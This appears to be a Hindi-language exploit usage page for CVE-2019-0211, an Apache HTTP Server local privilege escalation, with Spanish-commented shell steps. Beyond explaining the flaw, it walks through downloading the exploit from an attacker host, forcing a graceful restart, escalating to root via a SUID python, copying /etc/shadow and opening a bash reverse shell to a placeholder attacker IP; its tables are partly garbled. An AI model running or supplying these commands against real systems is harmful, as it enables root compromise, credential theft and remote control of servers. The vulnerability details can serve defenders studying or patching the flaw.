
CVE-2019-0211 एक स्थानीय विशेषाधिकार वृद्धि भेद्यता है जो Apache HTTP Server के 2.4.17 और 2.4.38 संस्करणों को mod_prefork और mod_php (या PHP-FPM) के साथ प्रभावित करती है।
यह भेद्यता एक हमलावर को www-data के रूप में शेल होने पर PHP में Use-After-Free (UAF) और Apache के scoreboard के भ्रष्टाचार के संयोजन के माध्यम से root तक विशेषाधिकार बढ़ाने की अनुमति देती है। जब Apache एक graceful restart करता है (उदाहरण के लिए, सुबह 6:25 बजे logrotate के माध्यम से), यह विशेषाधिकार छोड़ने से पहले child_init() को निष्पादित करता है। यदि हम इस फ़ंक्शन के पॉइंटर को भ्रष्ट करने में सफल होते हैं, तो हम Apache को root के रूप में एक मनमाना कमांड निष्पादित करा सकते हैं।
CVSS 3.1: 7.8 (उच्च) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Apache scoreboard नामक एक साझा मेमोरी क्षेत्र का उपयोग करता है जहां प्रत्येक कार्यकर्ता (worker) प्रक्रिया में process_score संरचना होती है जिसमें prefork_child_bucket की ओर एक bucket पॉइंटर होता है। इस bucket में एक apr_proc_mutex_t होता है जिसमें फ़ंक्शन पॉइंटर (meth->child_init()) होते हैं।
जब Apache एक graceful restart करता है (सुबह 6:25 बजे logrotate द्वारा प्राकृतिक ट्रिगर), तो यह विशेषाधिकार छोड़ने से पहले child_init() को कॉल करता है। एक्सप्लॉयट:
DateInterval ऑब्जेक्ट्स और JSON serialization में हेरफेर करके PHP में UAF उत्पन्न करता है/proc/self/maps पढ़ता है (/dev/zero में SHM)all_buckets संरचना ढूंढता हैmeth->child_init() को system() की ओर पुनर्निर्देशित करता हैCharles Fol — @cfreal_
मूल ब्लॉगपोस्ट: CARPE DIEM — CVE-2019-0211 Apache Local Root
www-data के रूप में शेल.php फ़ाइल लिखने की क्षमता# 1. Subir el exploit al servidor vulnerable
# Desde tu máquina atacante:
python3 -m http.server 8080
# En el servidor (como www-data):
cd /var/www/html
wget http://TU_IP:8080/carpediem.php
# 2. Ejecutar el exploit
curl http://localhost/carpediem.php
# 3. Esperar a que Apache haga graceful restart
# Opción A) Esperar a las 6:25 AM (logrotate automático)
# Opción B) Forzar logrotate si tienes permisos:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# 4. Verificar que python3.5 ahora es SUID root
ls -la /usr/bin/python3.5
# Output esperado: -rwsr-sr-x 2 root root ...
# 5. Escalar a root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'
आप cmd पैरामीटर का उपयोग करके root के रूप में निष्पादित होने वाले कमांड को बदल सकते हैं:
# Ejemplo: hacer una copia de /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"
# Ejemplo: reverse shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/TU_IP/PUERTO+0>%261'"
| Workers |
|---|
अधिक workers = अधिक सफलता दर।
hidef या AppArmor/SELinux के माध्यम से /proc/self/maps तक पहुंच प्रतिबंधित करें| फ़ील्ड | मान |
|---|
| CVE | CVE-2019-0211 |
| उत्पाद | Apache HTTP Server |
| प्रभावित संस्करण | 2.4.17 – 2.4.38 |
| प्रकार | स्थानीय विशेषाधिकार वृद्धि (CWE-269) |
| आवश्यकता | www-data के रूप में शेल, mod_php के साथ Apache, MPM prefork/worker/event |
| CVSS 3.1 | 7.8 उच्च |
| पैच | Apache 2.4.39 |
| सफलता |
|---|
| प्रयास |
|---|
| विफलताएँ |
|---|
| 5 (डिफ़ॉल्ट) | 87% | 177 | 26 |
| 8 | 89% | 60 | 8 |
| 10 | 95% | 70 | 4 |